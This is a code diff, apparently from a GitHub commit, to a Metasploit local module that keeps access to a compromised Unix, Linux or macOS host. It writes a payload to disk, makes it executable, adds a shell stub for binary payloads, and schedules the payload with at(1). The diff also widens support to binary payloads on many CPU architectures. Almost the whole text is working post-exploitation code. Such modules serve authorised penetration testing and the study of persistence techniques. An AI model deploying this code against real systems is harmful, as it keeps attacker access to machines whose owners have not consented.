@@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Local
88
99 include Msf ::Post ::File
1010 include Msf ::Exploit ::FileDropper
11+ include Msf ::Exploit ::EXE # for generate_payload_exe
1112 include Msf ::Exploit ::Local ::Persistence
1213 include Msf ::Exploit ::Local ::Timespec
1314 prepend Msf ::Exploit ::Remote ::AutoCheck
@@ -20,7 +21,10 @@ def initialize(info = {})
2021 info ,
2122 'Name' => 'at(1) Persistence' ,
2223 'Description' => %q{
23- This module achieves persistence by executing payloads via at(1).
24+ This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box
25+ with any UNIX-like operating system with atd running.
26+
27+ Verified on Kali linux and OSX 13.7.4
2428 } ,
2529 'License' => MSF_LICENSE ,
2630 'Author' => [
@@ -29,7 +33,16 @@ def initialize(info = {})
2933 'Targets' => [ [ 'Automatic' , { } ] ] ,
3034 'DefaultTarget' => 0 ,
3135 'Platform' => %w[ unix linux osx ] ,
32- 'Arch' => ARCH_CMD ,
36+ 'Arch' => [
37+ ARCH_CMD ,
38+ ARCH_X86 ,
39+ ARCH_X64 ,
40+ ARCH_ARMLE ,
41+ ARCH_AARCH64 ,
42+ ARCH_PPC ,
43+ ARCH_MIPSLE ,
44+ ARCH_MIPSBE
45+ ] ,
3346 'SessionTypes' => [ 'meterpreter' , 'shell' ] ,
3447 'DisclosureDate' => '1997-01-01' , # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
3548 'References' => [
@@ -46,7 +59,8 @@ def initialize(info = {})
4659 )
4760
4861 register_options ( [
49- OptString . new ( 'TIME' , [ false , 'When to run job via at(1). See timespec' , 'now' ] )
62+ OptString . new ( 'TIME' , [ false , 'When to run job via at(1). See timespec' , 'now' ] ) ,
63+ OptString . new ( 'PAYLOAD_NAME' , [ false , 'Name of the payload file to write' ] ) ,
5064 ] )
5165 end
5266
@@ -67,15 +81,30 @@ def check
6781
6882 def install_persistence
6983 fail_with ( Failure ::BadConfig , "TIME option isn't valid timespec" ) unless Msf ::Exploit ::Local ::Timespec . valid_timespec? ( datastore [ 'TIME' ] )
70- payload_file = "#{ datastore [ 'WritableDir' ] } /#{ Rex ::Text . rand_text_alpha ( 7 ..12 ) } "
71- vprint_status ( "Writing payload to #{ payload_file } " )
72- write_file ( payload_file , payload . encoded )
73- @clean_up_rc << "rm #{ payload_file } \n "
84+ payload_path = datastore [ 'WritableDir' ]
85+ payload_path = payload_path . end_with? ( '/' ) ? payload_path : "#{ payload_path } /"
86+ payload_name = datastore [ 'PAYLOAD_NAME' ] || rand_text_alphanumeric ( 5 ..10 )
87+ payload_path << payload_name
88+ vprint_status ( "Writing payload to #{ payload_path } " )
89+
90+ if payload . arch . first == 'cmd'
91+ upload_and_chmodx ( payload_path , payload . encoded )
92+ else
93+ # because the payloads contents is imported into the at job, we use a stub to call our payload
94+ # as it doesn't like binary payloads directly
95+ payload_path_exe = "#{ payload_path } #{ rand_text_alphanumeric ( 1 ..2 ) } "
96+ # stub, but keep payload_path name for consistency
97+ upload_and_chmodx ( payload_path , "#!/bin/sh\n #{ payload_path_exe } &\n " )
98+ upload_and_chmodx ( payload_path_exe , generate_payload_exe )
99+ @clean_up_rc << "rm #{ payload_path_exe } \n "
100+ end
101+
102+ @clean_up_rc << "rm #{ payload_path } \n "
74103
75- chmod ( payload_file , 0o700 )
76- job = cmd_exec ( "at -f #{ payload_file } #{ datastore [ 'TIME' ] } " )
104+ job = cmd_exec ( "at -f #{ payload_path } #{ datastore [ 'TIME' ] } " )
77105 job_id = job . split ( ' ' ) [ 1 ]
78106 print_good ( "at job created with id: #{ job_id } " )
107+ # this won't actually do anything since its not in a shell
79108 @clean_up_rc << "atrm #{ job_id } \n "
80109
81110 print_status ( "Waiting up to #{ datastore [ 'WfsDelay' ] } sec for execution" )
0 commit comments